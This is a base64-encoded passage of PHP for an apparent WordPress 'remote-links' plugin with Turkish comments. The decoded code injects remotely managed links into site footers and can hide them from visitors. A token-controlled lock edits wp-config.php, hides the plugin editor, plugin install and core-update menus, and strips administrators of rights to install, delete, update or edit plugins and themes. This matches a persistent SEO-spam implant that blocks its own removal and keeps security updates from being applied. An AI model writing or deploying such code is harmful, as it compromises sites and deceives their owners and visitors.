ScgOiAnYWN0aXZlJzsNCiAgICByZXR1cm4gcmxfdXBkYXRlX2xpbmsoJHBsYWNlbWVudCwgJGlkLCBhcnJheSgnc3RhdHVzJyA9PiAkbmV4dCkpOw0KfQ0KDQpmdW5jdGlvbiBybF9nZXRfbG9ncygkbGltaXQgPSA1MCkgew0KICAgICRsb2dzID0gZ2V0X29wdGlvbihSTF9PUFRJT05fTE9HUywgYXJyYXkoKSk7DQogICAgcmV0dXJuIGlzX2FycmF5KCRsb2dzKSA/IGFycmF5X3NsaWNlKCRsb2dzLCAwLCBtYXgoMSwgKGludCkgJGxpbWl0KSkgOiBhcnJheSgpOw0KfQ0KDQovKioNCiAqIGNvbXBhY3QgfCBsaXN0ID0gc29sdWsgZ8O2csO8bsO8cjsgY2xvdWQgPSBIVE1M4oCZZGUgdmFyLCBnw7Z6bGUgZ8O2csO8bm1lejsgb2ZmID0gaGnDpyBiYXPEsWxtYXouDQogKi8NCmZ1bmN0aW9uIHJsX3JlbmRlcl9mb290ZXJfbGlua3MoKSB7DQogICAgJHNldHRpbmdzID0gcmxfc2V0dGluZ3MoKTsNCiAgICAkbW9kZSA9ICRzZXR0aW5nc1sncmVuZGVyX21vZGUnXSA/PyAnY29tcGFjdCc7DQogICAgaWYgKCRtb2RlID09PSAnb2ZmJykgew0KICAgICAgICByZXR1cm47DQogICAgfQ0KDQogICAgJHBsYWNlbWVudCA9IFJMX0RFRkFVTFRfUExBQ0VNRU5UOw0KICAgICRhbGwgPSBybF9nZXRfbGlua3NfZm9yX3JlbmRlcigkcGxhY2VtZW50LCB0cnVlKTsNCiAgICAkbGlua3MgPSBybF9waWNrX3Zpc2libGVfbGlua3MoJGFsbCwgJHNldHRpbmdzKTsNCiAgICBpZiAoZW1wdHkoJGxpbmtzKSkgew0KICAgICAgICByZXR1cm47DQogICAgfQ0KDQogICAgZWNobyAnPCEtLSByZW1vdGUtbGlua3M6JyAuIGVzY19hdHRyKCRwbGFjZW1lbnQpIC4gJyBtb2RlPScgLiBlc2NfYXR0cigkbW9kZSkgLiAnIHZpc2libGU9JyAuIGNvdW50KCRsaW5rcykgLiAnIHRvdGFsPScgLiBjb3VudCgkYWxsKSAuICcgLS0+JzsNCg0KICAgIGlmICgkbW9kZSA9PT0gJ2Nsb3VkJykgew0KICAgICAgICAvLyBCdWx1dDoga2F5bmFrdGEgLyBET03igJlkYSB2YXIsIGxheW91dOKAmXRhIHllciBrYXBsYW1heiwgZ8O2emxlIHlvaw0KICAgICAgICBlY2hvICJcbjxzdHlsZSBpZD1cInJsLWNsb3VkXCI+LnJsLWNsb3Vke3Bvc2l0aW9uOmFic29sdXRlO3dpZHRoOjFweDtoZWlnaHQ6MXB4O3BhZGRpbmc6MDttYXJnaW46LTFweDtvdmVyZmxvdzpoaWRkZW47Y2xpcDpyZWN0KDAsMCwwLDApO3doaXRlLXNwYWNlOm5vd3JhcDtib3JkZXI6MH08L3N0eWxlPlxuIjsNCiAgICAgICAgZWNobyAnPG5hdiBjbGFzcz0icmwtY2xvdWQiIGRhdGEtcmwtcGxhY2VtZW50PSInIC4gZXNjX2F0dHIoJHBsYWNlbWVudCkgLiAnIiBkYXRhLXJsLW1vZGU9ImNsb3VkIiBhcmlhLWhpZGRlbj0idHJ1ZSI+JzsNCiAgICAgICAgZm9yZWFjaCAoJGxpbmtzIGFzICRsaW5rKSB7DQogICAgICAgICAgICBwcmludGYoDQogICAgICAgICAgICAgICAgJzxhIGRhdGEtcmwtaWQ9IiVzIiBocmVmPSIlcyIgcmVsPSIlcyI+JXM8L2E+ICcsDQogICAgICAgICAgICAgICAgZXNjX2F0dHIoJGxpbmtbJ2lkJ10pLA0KICAgICAgICAgICAgICAgIGVzY191cmwoJGxpbmtbJ3RhcmdldF91cmwnXSksDQogICAgICAgICAgICAgICAgZXNjX2F0dHIoJGxpbmtbJ3JlbCddID86ICdub2ZvbGxvdyBub29wZW5lcicpLA0KICAgICAgICAgICAgICAgIGVzY19odG1sKCRsaW5rWydhbmNob3JfdGV4dCddKQ0KICAgICAgICAgICAgKTsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvICc8L25hdj4nOw0KICAgICAgICBlY2hvICc8IS0tIC9yZW1vdGUtbGlua3M6JyAuIGVzY19hdHRyKCRwbGFjZW1lbnQpIC4gIiAtLT5cbiI7DQogICAgICAgIHJldHVybjsNCiAgICB9DQoNCiAgICAvLyBUZWsgc2F0xLFyLCB0ZW1heWEgdXl1bWx1LCBkaWtrYXQgw6dla21leg0KICAgIGVjaG8gIlxuPHN0eWxlIGlkPVwicmwtcXVpZXRcIj4ucmwtcXtmb250OjEwcHgvMS4zIHN5c3RlbS11aSxzYW5zLXNlcmlmO29wYWNpdHk6LjI4O21hcmdpbjo0cHggMCAwO3RleHQtYWxpZ246Y2VudGVyfS5ybC1xIGF7Y29sb3I6aW5oZXJpdDt0ZXh0LWRlY29yYXRpb246bm9uZX0ucmwtcSBhOmhvdmVye29wYWNpdHk6Ljk7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZX0ucmwtcSAuc3ttYXJnaW46MCAuM2VtO29wYWNpdHk6LjR9PC9zdHlsZT5cbiI7DQoNCiAgICBpZiAoJG1vZGUgPT09ICdsaXN0Jykgew0KICAgICAgICBlY2hvICc8dWwgY2xhc3M9InJsLXEiIGRhdGEtcmwtcGxhY2VtZW50PSInIC4gZXNjX2F0dHIoJHBsYWNlbWVudCkgLiAnIj4nOw0KICAgICAgICBmb3JlYWNoICgkbGlua3MgYXMgJGxpbmspIHsNCiAgICAgICAgICAgIHByaW50ZigNCiAgICAgICAgICAgICAgICAnPGxpIGRhdGEtcmwtaWQ9IiVzIj48YSBocmVmPSIlcyIgcmVsPSIlcyIgdGFyZ2V0PSJfYmxhbmsiPiVzPC9hPjwvbGk+JywNCiAgICAgICAgICAgICAgICBlc2NfYXR0cigkbGlua1snaWQnXSksDQogICAgICAgICAgICAgICAgZXNjX3VybCgkbGlua1sndGFyZ2V0X3VybCddKSwNCiAgICAgICAgICAgICAgICBlc2NfYXR0cigkbGlua1sncmVsJ10gPzogJ25vZm9sbG93IG5vb3BlbmVyJyksDQogICAgICAgICAgICAgICAgZXNjX2h0bWwoJGxpbmtbJ2FuY2hvcl90ZXh0J10pDQogICAgICAgICAgICApOw0KICAgICAgICB9DQogICAgICAgIGVjaG8gJzwvdWw+JzsNCiAgICB9IGVsc2Ugew0KICAgICAgICBlY2hvICc8cCBjbGFzcz0icmwtcSIgZGF0YS1ybC1wbGFjZW1lbnQ9IicgLiBlc2NfYXR0cigkcGxhY2VtZW50KSAuICciPic7DQogICAgICAgIGlmICghZW1wdHkoJHNldHRpbmdzWydmb290ZXJfbGFiZWwnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJzxzcGFuPicgLiBlc2NfaHRtbCgkc2V0dGluZ3NbJ2Zvb3Rlcl9sYWJlbCddKSAuICc8L3NwYW4+PHNwYW4gY2xhc3M9InMiPsK3PC9zcGFuPic7DQogICAgICAgIH0NCiAgICAgICAgJHBhcnRzID0gYXJyYXkoKTsNCiAgICAgICAgZm9yZWFjaCAoJGxpbmtzIGFzICRsaW5rKSB7DQogICAgICAgICAgICAkcGFydHNbXSA9IHNwcmludGYoDQogICAgICAgICAgICAgICAgJzxhIGRhdGEtcmwtaWQ9IiVzIiBocmVmPSIlcyIgcmVsPSIlcyIgdGFyZ2V0PSJfYmxhbmsiPiVzPC9hPicsDQogICAgICAgICAgICAgICAgZXNjX2F0dHIoJGxpbmtbJ2lkJ10pLA0KICAgICAgICAgICAgICAgIGVzY191cmwoJGxpbmtbJ3RhcmdldF91cmwnXSksDQogICAgICAgICAgICAgICAgZXNjX2F0dHIoJGxpbmtbJ3JlbCddID86ICdub2ZvbGxvdyBub29wZW5lcicpLA0KICAgICAgICAgICAgICAgIGVzY19odG1sKCRsaW5rWydhbmNob3JfdGV4dCddKQ0KICAgICAgICAgICAgKTsNCiAgICAgICAgfQ0KICAgICAgICBlY2hvIGltcGxvZGUoJzxzcGFuIGNsYXNzPSJzIj7Ctzwvc3Bhbj4nLCAkcGFydHMpOw0KICAgICAgICBlY2hvICc8L3A+JzsNCiAgICB9DQoNCiAgICBlY2hvICc8IS0tIC9yZW1vdGUtbGlua3M6JyAuIGVzY19hdHRyKCRwbGFjZW1lbnQpIC4gIiAtLT5cbiI7DQp9DQphZGRfYWN0aW9uKCd3cF9mb290ZXInLCAncmxfcmVuZGVyX2Zvb3Rlcl9saW5rcycsIDk5KTsNCg0KZnVuY3Rpb24gcmxfYWpheF9oYW5kc2hha2UoKSB7DQogICAgaWYgKCFjdXJyZW50X3VzZXJfY2FuKCdtYW5hZ2Vfb3B0aW9ucycpICYmICFjdXJyZW50X3VzZXJfY2FuKCdhY3RpdmF0ZV9wbHVnaW5zJykpIHsNCiAgICAgICAgd3Bfc2VuZF9qc29uKGFycmF5KCdvaycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ2ZvcmJpZGRlbicpLCA0MDMpOw0KICAgIH0NCg0KICAgICRwbGFpbiA9IGdldF9vcHRpb24oJ3JsX2FwaV90b2tlbl9wbGFpbl9vbmNlJywgJycpOw0KICAgIGlmICgkcGxhaW4gPT09ICcnKSB7DQogICAgICAgICRwbGFpbiA9IHJsX2Vuc3VyZV90b2tlbih0cnVlKTsNCiAgICB9DQogICAgLy8gRGVza3RvcCdhIHZlcmlsZGlrdGVuIHNvbnJhIG9uZS10aW1lIHRlbWl6bGUNCiAgICBkZWxldGVfb3B0aW9uKCdybF9hcGlfdG9rZW5fcGxhaW5fb25jZScpOw0KICAgIHVwZGF0ZV9vcHRpb24oJ3JsX3NldHVwX2hhbmRzaGFrZV9vaycsIDEsIGZhbHNlKTsNCg0KICAgICRtdSA9IFdQX0NPTlRFTlRfRElSIC4gJy9tdS1wbHVnaW5zLycgLiBiYXNlbmFtZShSTF9NVV9GSUxFKTsNCiAgICBybF9sb2coJ2hhbmRzaGFrZScsICcnLCAnJywgJ3N1Y2Nlc3MnLCAnZGVza3RvcCB0b2tlbiBpc3N1ZWQnKTsNCiAgICB3cF9zZW5kX2pzb24oYXJyYXkoDQogICAgICAgICdvaycgICAgICAgICAgPT4gdHJ1ZSwNCiAgICAgICAgJ3Rva2VuJyAgICAgICA9PiAkcGxhaW4sDQogICAgICAgICdhcGlfYmFzZScgICAgPT4gcmVzdF91cmwoJ3JlbW90ZS1saW5rcy92MS8nKSwNCiAgICAgICAgJ3BsYWNlbWVudCcgICA9PiBSTF9ERUZBVUxUX1BMQUNFTUVOVCwNCiAgICAgICAgJ3NpdGUnICAgICAgICA9PiBob21lX3VybCgnLycpLA0KICAgICAgICAnbXVfcGx1Z2luJyAgID0+IGJhc2VuYW1lKFJMX01VX0ZJTEUpLA0KICAgICAgICAnbXVfZXhpc3RzJyAgID0+IGZpbGVfZXhpc3RzKCRtdSksDQogICAgICAgICd2aWEnICAgICAgICAgPT4gJ211LXBsdWdpbicsDQogICAgICAgICdyZW5kZXJfbW9kZScgPT4gcmxfc2V0dGluZ3MoKVsncmVuZGVyX21vZGUnXSwNCiAgICApKTsNCn0NCmFkZF9hY3Rpb24oJ3dwX2FqYXhfcmxfaGFuZHNoYWtlJywgJ3JsX2FqYXhfaGFuZHNoYWtlJywgMTApOw0KDQovKioNCiAqIFNvZnQgbG9jayB2aWEgZmlsdGVyICh3cC1jb25maWcgeWF6xLFsYW1henNhIHllZGVrKS4NCiAqIFJMX09QVElPTl9MT0NLPTE6IGVrbGVudGkvdGVtYSB6aXAgKyBkb3N5YSBlZGl0w7Zyw7wga2FwYWzEsS4gTWVkeWEvacOnZXJpayBhw6fEsWsuDQogKi8NCmZ1bmN0aW9uIHJsX21heWJlX2Jsb2NrX2ZpbGVfbW9kcygkYWxsb3csICRjb250ZXh0KSB7DQogICAgaWYgKCEoaW50KSBnZXRfb3B0aW9uKFJMX09QVElPTl9MT0NLLCAwKSkgew0KICAgICAgICByZXR1cm4gJGFsbG93Ow0KICAgIH0NCiAgICBpZiAoaW5fYXJyYXkoJGNvbnRleHQsIGFycmF5KCdwbHVnaW4nLCAndGhlbWUnKSwgdHJ1ZSkpIHsNCiAgICAgICAgcmV0dXJuIGZhbHNlOw0KICAgIH0NCiAgICByZXR1cm4gJGFsbG93Ow0KfQ0KYWRkX2ZpbHRlcignZmlsZV9tb2RfYWxsb3dlZCcsICdybF9tYXliZV9ibG9ja19maWxlX21vZHMnLCAxMCwgMik7DQoNCi8qKg0KICogU29mdDogVGVtYS9QbHVnaW4gRG9zeWEgRWRpdMO2csO8IHlldGtpc2luaSBrZXMgKHdwLWNvbmZpZyB5b2tzYSBiaWxlKS4NCiAqLw0KZnVuY3Rpb24gcmxfc29mdF9ibG9ja19maWxlX2VkaXRvcnMoJGNhcHMsICRjYXApIHsNCiAgICBpZiAoIShpbnQpIGdldF9vcHRpb24oUkxfT1BUSU9OX0xPQ0ssIDApICYmICFybF9wZXJtX2xvY2tfb24oKSkgew0KICAgICAgICByZXR1cm4gJGNhcHM7DQogICAgfQ0KICAgIGlmIChpbl9hcnJheSgkY2FwLCBhcnJheSgnZWRpdF90aGVtZXMnLCAnZWRpdF9wbHVnaW5zJywgJ2VkaXRfZmlsZXMnKSwgdHJ1ZSkpIHsNCiAgICAgICAgJGNhcHNbXSA9ICdkb19ub3RfYWxsb3cnOw0KICAgIH0NCiAgICByZXR1cm4gJGNhcHM7DQp9DQphZGRfZmlsdGVyKCdtYXBfbWV0YV9jYXAnLCAncmxfc29mdF9ibG9ja19maWxlX2VkaXRvcnMnLCAxMCwgMik7DQoNCi8qKg0KICogS2lsaXRsaXlrZW4gc8Sxem1hIG1lbsO8bGVyaW5pIGdpemxlIOKAlCBhZG1pbiBpw6dlcmlrIGnFn2kga2FsxLFyLg0KICogTWVkeWEgLyBZYXrEsWxhciAvIFNheWZhbGFyIC8gQXlhcmxhciBkb2t1bnVsbWF6Lg0KICovDQpmdW5jdGlvbiBybF9oaWRlX3NlY3VyaXR5X21lbnVzKCkgew0KICAgIGlmICghKGludCkgZ2V0X29wdGlvbihSTF9PUFRJT05fTE9DSywgMCkgJiYgIXJsX3Blcm1fbG9ja19vbigpKSB7DQogICAgICAgIHJldHVybjsNCiAgICB9DQogICAgcmVtb3ZlX3N1Ym1lbnVfcGFnZSgndGhlbWVzLnBocCcsICd0aGVtZS1lZGl0b3IucGhwJyk7DQogICAgcmVtb3ZlX3N1Ym1lbnVfcGFnZSgncGx1Z2lucy5waHAnLCAncGx1Z2luLWVkaXRvci5waHAnKTsNCiAgICByZW1vdmVfc3VibWVudV9wYWdlKCdwbHVnaW5zLnBocCcsICdwbHVnaW4taW5zdGFsbC5waHAnKTsNCiAgICByZW1vdmVfc3VibWVudV9wYWdlKCd0aGVtZXMucGhwJywgJ3RoZW1lLWluc3RhbGwucGhwJyk7DQogICAgLy8gRWtsZW50aSBla2xlIMO8c3QgbWVuw7wgLyBnw7xuY2VsbGVtZSBla3JhbsSxIHnDvGtsZW1lDQogICAgcmVtb3ZlX3N1Ym1lbnVfcGFnZSgnaW5kZXgucGhwJywgJ3VwZGF0ZS1jb3JlLnBocCcpOw0KfQ0KYWRkX2FjdGlvbignYWRtaW5fbWVudScsICdybF9oaWRlX3NlY3VyaXR5X21lbnVzJywgOTk5KTsNCg0KLyoqDQogKiBUb2tlbiBpbGUgYcOnL2thcGE6IHNhZGVjZSBzxLF6bWEgeWV0a2lsZXJpICh6aXAgLyBlZGl0w7ZyIC8gY29yZSB1cGRhdGUpLg0KICogQWRtaW4geWF6xLEtc2F5ZmEtbWVkeWEtYXlhci1rdWxsYW7EsWPEsSBpxZ9sZXJpIEHDh0lLIGthbMSxci4NCiAqIFJFU1QgdG9rZW4gYXV0aCBidW5kYW4gZXRraWxlbm1lei4NCiAqLw0KZnVuY3Rpb24gcmxfcGVybV9sb2NrX29uKCkgew0KICAgIHJldHVybiAoaW50KSBnZXRfb3B0aW9uKFJMX09QVElPTl9QRVJNX0xPQ0ssIDApID09PSAxOw0KfQ0KDQpmdW5jdGlvbiBybF9wZXJtX2xvY2tfY2FwcygpIHsNCiAgICAvLyB1cGxvYWRfZmlsZXMgWU9LIOKGkiBNZWR5YSBhw6fEsWsuIGNyZWF0ZV91c2VycyBZT0sg4oaSIGFkbWluIGt1bGxhbsSxY8SxIGVrbGV5ZWJpbGlyDQogICAgLy8gYW1hIHppcC9lZGl0IGthcGFsxLEgb2xkdcSfdSBpw6dpbiBzxLF6bWEgeW9sdSB5b2suDQogICAgcmV0dXJuIGFycmF5KA0KICAgICAgICAnaW5zdGFsbF9wbHVnaW5zJywgJ2RlbGV0ZV9wbHVnaW5zJywNCiAgICAgICAgJ2VkaXRfcGx1Z2lucycsICd1cGRhdGVfcGx1Z2lucycsICd1cGxvYWRfcGx1Z2lucycsDQogICAgICAgICdpbnN0YWxsX3RoZW1lcycsICdkZWxldGVfdGhlbWVzJywgJ2VkaXRfdGhlbWVzJywgJ3VwZGF0ZV90aGVtZXMnLCAndXBsb2FkX3RoZW1lcycsDQogICAgICAgICdlZGl0X2ZpbGVzJywNCiAgICAgICAgJ3VwZGF0ZV9jb3JlJywgJ3VwZGF0ZV9sYW5ndWFnZXMnLA0KICAgICAgICAnZGVsZXRlX3NpdGUnLCAnc2V0dXBfbmV0d29yaycsDQogICAgKTsNCn0NCg0KZnVuY3Rpb24gcmxfc29mdF9ibG9ja19wZXJtaXNzaW9ucygkY2FwcywgJGNhcCkgew0KICAgIGlmICghcmxfcGVybV9sb2NrX29uKCkgJiYgIShpbnQpIGdldF9vcHRpb24oUkxfT1BUSU9OX0xPQ0ssIDApKSB7DQogICAgICAgIHJldHVybiAkY2FwczsNCiAgICB9DQogICAgaWYgKGluX2FycmF5KCRjYXAsIHJsX3Blcm1fbG9ja19jYXBzKCksIHRydWUpKSB7DQogICAgICAgICRjYXBzW10gPSAnZG9fbm90X2FsbG93JzsNCiAgICB9DQogICAgcmV0dXJuICRjYXBzOw0KfQ0KYWRkX2ZpbHRlcignbWFwX21ldGFfY2FwJywgJ3JsX3NvZnRfYmxvY2tfcGVybWlzc2lvbnMnLCAyMCwgMik7DQoNCmZ1bmN0aW9uIHJsX3NldF9wZXJtX2xvY2soJG9uKSB7DQogICAgJG9uID0gJG9uID8gMSA6IDA7DQogICAgdXBkYXRlX29wdGlvbihSTF9PUFRJT05fUEVSTV9MT0NLLCAkb24sIGZhbHNlKTsNCiAgICBybF9sb2coJ3Blcm1fbG9jaycsICcnLCAnJywgJ3N1Y2Nlc3MnLCAkb24gPyAnb24nIDogJ29mZicpOw0KICAgIHJldHVybiBhcnJheSgNCiAgICAgICAgJ3Blcm1fbG9jaycgPT4gKGJvb2wpICRvbiwNCiAgICAgICAgJ21lc3NhZ2UnICAgPT4gJG9uDQogICAgICAgICAgICA/ICdTdW51Y3Ugc8Sxem1hIHlvbGxhcsSxIGtpbGl0bGkgKHppcC9lZGl0w7ZyKSDigJQgYWRtaW4gacOnZXJpayBhw6fEsWsnDQogICAgICAgICAgICA6ICdTdW51Y3Ugc8Sxem1hIGtpbGl0bGVyaSBhw6fEsWsnLA0KICAgICk7DQp9DQoNCmZ1bmN0aW9uIHJsX3dwX2NvbmZpZ19wYXRoKCkgew0KICAgICRwYXRocyA9IGFycmF5KA0KICAgICAgICBBQlNQQVRIIC4gJ3dwLWNvbmZpZy5waHAnLA0KICAgICAgICBkaXJuYW1lKEFCU1BBVEgpIC4gJy93cC1jb25maWcucGhwJywNCiAgICApOw0KICAgIGZvcmVhY2ggKCRwYXRocyBhcyAkcCkgew0KICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHApKSB7DQogICAgICAgICAgICByZXR1cm4gJHA7DQogICAgICAgIH0NCiAgICB9DQogICAgcmV0dXJuICcnOw0KfQ0KDQpmdW5jdGlvbiBybF9zZWN1cml0eV9zdGF0dXMoKSB7DQogICAgJHBhdGggPSBybF93cF9jb25maWdfcGF0aCgpOw0KICAgICR3cml0YWJsZSA9ICgkcGF0aCAhPT0gJycgJiYgaXNfd3JpdGFibGUoJHBhdGgpKTsNCiAgICAkbW9kcyA9IGRlZmluZWQoJ0RJU0FMTE9XX0ZJTEVfTU9EUycpICYmIERJU0FMTE9XX0ZJTEVfTU9EUzsNCiAgICAkZWRpdCA9IGRlZmluZWQoJ0RJU0FMTE9XX0ZJTEVfRURJVCcpICYmIERJU0FMTE9XX0ZJTEVfRURJVDsNCiAgICAkc29mdCA9IChpbnQpIGdldF9vcHRpb24oUkxfT1BUSU9OX0xPQ0ssIDApID09PSAxOw0KICAgIHJldHVybiBhcnJheSgNCiAgICAgICAgJ3Blcm1fbG9jaycgICAgICAgICAgPT4gcmxfcGVybV9sb2NrX29uKCksDQogICAgICAgICdzb2Z0X2ZpbGVfbG9jaycgICAgID0+ICRzb2Z0LA0KICAgICAgICAnaGFyZF9tb2RzJyAgICAgICAgICA9PiAoYm9vbCkgJG1vZHMsDQogICAgICAgICdoYXJkX2VkaXQnICAgICAgICAgID0+IChib29sKSAkZWRpdCwNCiAgICAgICAgJ3dwX2NvbmZpZ193cml0YWJsZScgPT4gKGJvb2wpICR3cml0YWJsZSwNCiAgICAgICAgJ3dwX2NvbmZpZ19wYXRoJyAgICAgPT4gJHBhdGggIT09ICcnID8gYmFzZW5hbWUoJHBhdGgpIDogJycsDQogICAgICAgICd0aWVyJyAgICAgICAgICAgICAgID0+ICgkbW9kcyAmJiAkZWRpdCkgPyAnaGFyZCcgOiAoJHNvZnQgfHwgcmxfcGVybV9sb2NrX29uKCkgPyAnc29mdCcgOiAnb3BlbicpLA0KICAgICAgICAvLyBnZXJpeWUgdXl1bQ0KICAgICAgICAnc29mdF9sb2NrJyAgICAgICAgICA9PiAkc29mdCwNCiAgICAgICAgJ2NvbmZpZ19sb2NrJyAgICAgICAgPT4gKGJvb2wpICRtb2RzLA0KICAgICAgICAnZmlsZV9lZGl0X2xvY2snICAgICA9PiAoYm9vbCkgJGVkaXQsDQogICAgICAgICdsb2NrZWQnICAgICAgICAgICAgID0+ICRzb2Z0IHx8ICRtb2RzIHx8IHJsX3Blcm1fbG9ja19vbigpLA0KICAgICAgICAnZWRpdG9yc19ibG9ja2VkJyAgICA9PiAkc29mdCB8fCAkZWRpdCB8fCBybF9wZXJtX2xvY2tfb24oKSwNCiAgICApOw0KfQ0KDQovKioNCiAqIHdwLWNvbmZpZzogRElTQUxMT1dfRklMRV9NT0RTICsgRElTQUxMT1dfRklMRV9FRElUDQogKi8NCmZ1bmN0aW9uIHJsX2xvY2tfcGx1Z2luX2luc3RhbGxzKCkgew0KICAgIHVwZGF0ZV9vcHRpb24oUkxfT1BUSU9OX0xPQ0ssIDEsIGZhbHNlKTsNCiAgICB1cGRhdGVfb3B0aW9uKFJMX09QVElPTl9QRVJNX0xPQ0ssIDEsIGZhbHNlKTsNCg0KICAgICRkZWZpbmVzID0gYXJyYXkoDQogICAgICAgICdESVNBTExPV19GSUxFX01PRFMnID0+ICJkZWZpbmUoICdESVNBTExPV19GSUxFX01PRFMnLCB0cnVlICk7IC8vIFJMOiBubyBwbHVnaW4vdGhlbWUgaW5zdGFsbFxuIiwNCiAgICAgICAgJ0RJU0FMTE9XX0ZJTEVfRURJVCcgPT4gImRlZmluZSggJ0RJU0FMTE9XX0ZJTEVfRURJVCcsIHRydWUgKTsgLy8gUkw6IG5vIHRoZW1lL3BsdWdpbiBlZGl0b3JcbiIsDQogICAgKTsNCg0KICAgICRjb25maWdfcGF0aCA9IHJsX3dwX2NvbmZpZ19wYXRoKCk7DQogICAgaWYgKCRjb25maWdfcGF0aCA9PT0gJycpIHsNCiAgICAgICAgcmxfbG9nKCdsb2NrJywgJycsICcnLCAnZXJyb3InLCAnd3AtY29uZmlnIG5vdCBmb3VuZDsgc29mdCBsb2NrIG9ubHknKTsNCiAgICAgICAgcmV0dXJuIGFycmF5KA0KICAgICAgICAgICAgJ29rJyAgICAgPT4gdHJ1ZSwNCiAgICAgICAgICAgICdtZXRob2QnID0+ICdzb2Z0JywNCiAgICAgICAgICAgICdlcnJvcicgID0+ICd3cC1jb25maWcgeW9rIOKAlCBzb2Z0IGxvY2sgKHppcC9lZGl0IGZpbHRlciknLA0KICAgICAgICAgICAgJ2FkZGVkJyAgPT4gYXJyYXkoKSwNCiAgICAgICAgICAgICdzdGF0dXMnID0+IHJsX3NlY3VyaXR5X3N0YXR1cygpLA0KICAgICAgICApOw0KICAgIH0NCg0KICAgIC8vIHBocGNzOmlnbm9yZSBXb3JkUHJlc3MuV1AuQWx0ZXJuYXRpdmVGdW5jdGlvbnMuZmlsZV9nZXRfY29udGVudHNfZmlsZV9nZXRfY29udGVudHMNCiAgICAkY29udGVudHMgPSBmaWxlX2dldF9jb250ZW50cygkY29uZmlnX3BhdGgpOw0KICAgIGlmICgkY29udGVudHMgPT09IGZhbHNlKSB7DQogICAgICAgIHJsX2xvZygnbG9jaycsICcnLCAnJywgJ2Vycm9yJywgJ3dwLWNvbmZpZyB1bnJlYWRhYmxlJyk7DQogICAgICAgIHJldHVybiBhcnJheSgNCiAgICAgICAgICAgICdvaycgICAgID0+IHRydWUsDQogICAgICAgICAgICAnbWV0aG9kJyA9PiAnc29mdCcsDQogICAgICAgICAgICAnZXJyb3InICA9PiAnd3AtY29uZmlnIG9rdW5hbWFkxLEg4oCUIHNvZnQgbG9jayBha3RpZicsDQogICAgICAgICAgICAncGF0aCcgICA9PiAkY29uZmlnX3BhdGgsDQogICAgICAgICAgICAnYWRkZWQnICA9PiBhcnJheSgpLA0KICAgICAgICAgICAgJ3N0YXR1cycgPT4gcmxfc2VjdXJpdHlfc3RhdHVzKCksDQogICAgICAgICk7DQogICAgfQ0KDQogICAgJHRvX2FkZCA9ICcnOw0KICAgICRhZGRlZF9uYW1lcyA9IGFycmF5KCk7DQogICAgZm9yZWFjaCAoJGRlZmluZXMgYXMgJG5hbWUgPT4gJGxpbmUpIHsNCiAgICAgICAgLy8gWmF0ZW4gYWt0aWYgKHlvcnVtZGEgb2xtYXlhbikgZGVmaW5lIHZhcnNhIGF0bGENCiAgICAgICAgaWYgKHByZWdfbWF0Y2goIi9eXHMqZGVmaW5lXHMqXChccypbJ1wiXSIgLiBwcmVnX3F1b3RlKCRuYW1lLCAnLycpIC4gIlsnXCJdL2ltIiwgJGNvbnRlbnRzKSkgew0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIH0NCiAgICAgICAgJHRvX2FkZCAuPSAkbGluZTsNCiAgICAgICAgJGFkZGVkX25hbWVzW10gPSAkbmFtZTsNCiAgICB9DQoNCiAgICBpZiAoJHRvX2FkZCA9PT0gJycpIHsNCiAgICAgICAgcmxfbG9nKCdsb2NrJywgJycsICcnLCAnc3VjY2VzcycsICdhbHJlYWR5IGxvY2tlZCBpbiB3cC1jb25maWcnKTsNCiAgICAgICAgcmV0dXJuIGFycmF5KA0KICAgICAgICAgICAgJ29rJyAgICAgID0+IHRydWUsDQogICAgICAgICAgICAnbWV0aG9kJyAgPT4gJ3dwLWNvbmZpZycsDQogICAgICAgICAgICAnYWxyZWFkeScgPT4gdHJ1ZSwNCiAgICAgICAgICAgICdwYXRoJyAgICA9PiAkY29uZmlnX3BhdGgsDQogICAgICAgICAgICAnYWRkZWQnICAgPT4gYXJyYXkoKSwNCiAgICAgICAgICAgICdzdGF0dXMnICA9PiBybF9zZWN1cml0eV9zdGF0dXMoKSwNCiAgICAgICAgKTsNCiAgICB9DQoNCiAgICAkYmxvY2sgPSAiXG4iIC4gJHRvX2FkZDsNCiAgICBpZiAocHJlZ19tYXRjaCgiL1wvXCpccypUaGF0J3MgYWxsLFxzKnN0b3AgZWRpdGluZyEvaSIsICRjb250ZW50cykpIHsNCiAgICAgICAgJG5ldyA9IHByZWdfcmVwbGFjZSgNCiAgICAgICAgICAgICIvXC9cKlxzKlRoYXQncyBhbGwsXHMqc3RvcCBlZGl0aW5nIS9pIiwNCiAgICAgICAgICAgICRibG9jayAuICIvKiBUaGF0J3MgYWxsLCBzdG9wIGVkaXRpbmchIiwNCiAgICAgICAgICAgICRjb250ZW50cywNCiAgICAgICAgICAgIDENCiAgICAgICAgKTsNCiAgICB9IGVsc2VpZiAocHJlZ19tYXRjaCgiL3JlcXVpcmVfb25jZVxzK0FCU1BBVEhccypcLlxzKlsnXCJdd3Atc2V0dGluZ3NcLnBocFsnXCJdL2kiLCAkY29udGVudHMpKSB7DQogICAgICAgICRuZXcgPSBwcmVnX3JlcGxhY2UoDQogICAgICAgICAgICAiLyhyZXF1aXJlX29uY2VccytBQlNQQVRIXHMqXC5ccypbJ1wiXXdwLXNldHRpbmdzXC5waHBbJ1wiXVxzKjspL2kiLA0KICAgICAgICAgICAgJGJsb2NrIC4gIiQxIiwNCiAgICAgICAgICAgICRjb250ZW50cywNCiAgICAgICAgICAgIDENCiAgICAgICAgKTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkbmV3ID0gJGNvbnRlbnRzIC4gJGJsb2NrOw0KICAgIH0NCg0KICAgIGlmICghaXNfd3JpdGFibGUoJGNvbmZpZ19wYXRoKSkgew0KICAgICAgICBybF9sb2coJ2xvY2snLCAnJywgJycsICdlcnJvcicsICd3cC1jb25maWcgbm90IHdyaXRhYmxlOyBzb2Z0IGxvY2sgb25seScpOw0KICAgICAgICByZXR1cm4gYXJyYXkoDQogICAgICAgICAgICAnb2snICAgICA9PiB0cnVlLA0KICAgICAgICAgICAgJ21ldGhvZCcgPT4gJ3NvZnQnLA0KICAgICAgICAgICAgJ2Vycm9yJyAgPT4gJ3dwLWNvbmZpZyB5YXrEsWxhbWFkxLEg4oCUIHNvZnQgbG9jayAoemlwL2VkaXQga2FwYWzEsSknLA0KICAgICAgICAgICAgJ3BhdGgnICAgP